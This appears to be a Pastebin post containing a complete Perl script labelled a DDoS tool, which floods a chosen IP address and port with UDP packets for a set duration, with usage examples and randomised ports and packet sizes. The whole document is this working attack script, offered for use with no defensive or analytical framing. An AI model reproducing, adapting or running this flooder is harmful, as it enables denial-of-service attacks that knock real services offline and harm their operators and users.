SecReck

Perl DDoS Script By ReaK

Feb 12th, 2017
8,878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.98 KB | None | 0 0
  1. use Socket;
  2. use strict;
  3.  
  4. print '
  5. DDOS SCRIPT BY ReaK  
  6. ';
  7. print "\n";
  8.  
  9.  
  10. if ($#ARGV != 3) {
  11.   print "\n\t\t\t***Error command must recieve four arguements***\n";
  12.   print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  13.   print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  14.   exit(1);
  15. }
  16.  
  17. my ($ip,$port,$size,$time) = @ARGV;
  18. my ($iaddr,$endtime,$psize,$pport);
  19. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  20. $endtime = time() + ($time ? $time : 1000000);
  21. socket(flood, PF_INET, SOCK_DGRAM, 17);
  22. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  23. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  24. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  25. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  26. for (;time() <= $endtime;) {
  27.   $psize = $size ? $size : int(rand(1500-64)+64) ;
  28.   $pport = $port ? $port : int(rand(65500))+1;
  29.  
  30.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment